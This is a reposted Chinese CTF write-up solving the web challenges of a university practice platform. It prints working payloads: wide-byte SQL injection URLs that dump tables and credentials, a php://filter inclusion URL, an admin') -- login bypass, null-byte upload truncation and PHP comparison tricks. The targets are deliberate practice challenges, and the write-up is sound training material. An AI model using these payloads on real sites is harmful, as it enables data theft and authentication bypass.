南京郵電大學網絡攻防平臺WEB題 南京郵電大學網絡攻防平臺WEB題

南京郵電大學網絡攻防平臺WEB題

 

平臺地址:http://ctf.nuptsast.com/

簽到題:

右鍵查看源代碼,得到flag

md5 collision:

傳入的a的md5值要爲0e開頭的,但不能是QNKCDZO,百度一個0e開頭的md5

得到flag

簽到2:

右鍵查看源代碼

輸入框允許的最大長度爲10,口令的長度爲11

使用hackbar post一下

得到flag

這題不是WEB:

下載圖片,用記事本打開

拉到最後,得到flag

層層遞進:

是一個網站頁面,先掃一下

有個404.html

查看一下源代碼,得到flag

AAencode:

這題爲javascript aaencode解密題,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode

單身二十年

右鍵查看源代碼

點擊進入,得到flag

php decode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

 把eval改爲echo,在本地用phpstudy測試一下

得到flag

文件包含:

點進去

用php://filter/讀取index.php

構建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

爲base64加密,解密一下得到flag

單身一百年也沒用:

開啓firebug,在“網絡”裏查看包,點擊鏈接,查看包,得到flag

 Download~!:

這類又兩個下載鏈接,複製一下一個地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,後面爲base64加密,下載download.php,對download.php進行base64加密後下載

下載後打開

發現一個hereiskey.php,下載後打開,得到flag

COOKIE:

在firebug裏的cookies處修改一下,把0改成1,然後刷新頁面

得到flag

MYSQL:

直接在後面加個robots.txt

id不等於1024纔給輸出內容,intval()函數又是獲取整數值,直接傳入1024.1,得到flag

 sql injection 3:

加個單引號

單引號被過濾了,看來是寬字節注入,查一下字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3,4,5 %23

 報錯

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2 %23

 沒報錯

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3 %23

 報錯

有2個字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2 %23

 

爆出了個2,查一下數據庫

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database() %23

 爆出了一個數據庫

爆一下表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

 

爆出了5個表:ctf,ctf2,ctf3,ctf4,news

爆一下ctf的字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

 得到2個字段

爆一下內容

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23

 爆出一個admin和一個md5密文

解一下密

密文爲njupt

試了ctf2和ctf3都沒有找到flag

試ctf4的時候看到了一個flag字段

爆一下內容

得到flag

/x00:

 ereg()函數可以%00截斷,當傳入的nctf爲數組時,它的返回值不是FALSE,直接傳入nctf[]得到flag

bypass again:

傳入的a和b的值不相等,但是md5的值相等,可以用數組

得到flag

變量覆蓋:

點擊,看一下源代碼

extract()函數變量覆蓋$pass和$thepassword_123

得到flag

 PHP是世界上最好的語言:

訪問一下index.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}
 
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>
 
 
<br><br>
Can you authenticate to this website?

 eregi()函數判斷id傳入的值是否爲hackerDJ,傳入的id的值url解碼後要跟hackerDJ相同,對hackerDJ進行兩次url編碼

http://way.nuptzj.cn/php/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

 

得到flag

僞裝者:

這裏提示本地登陸

Header:

打開Firebug,刷新一下界面,得到flag

上傳繞過:

選擇一個圖片文件上傳,用burp抓包

在/uploads/後加一個php的後綴名,然後%00截斷,發包得到flag

SQL注入1:

點擊Source,查看源代碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

 用admin')把語句閉合,用--把後面的語句註釋掉,如果是admin的話,就能得到flag

構造語句:admin') -- aaa,密碼隨便填

pass check:

代碼如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

 strcmp()函數對$pass和$pass1進行比較,如果一樣的話返回flag,strcmp()比較的結果相同時會返回0,比較數組的時候會返回null,null和0在判斷中相等

用hackbar post一個數組

得到flag

起名字真難:

源碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i strlen($number); $i++)
        {  
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else
    echo 'access denied';
?>

 不能傳入數字,但是要傳入54975581388,才能得到flag,轉換爲十六進制傳入

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

 

得到flag

 
分類: CTF
轉自:https://www.cnblogs.com/sch01ar/p/7780585.html
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章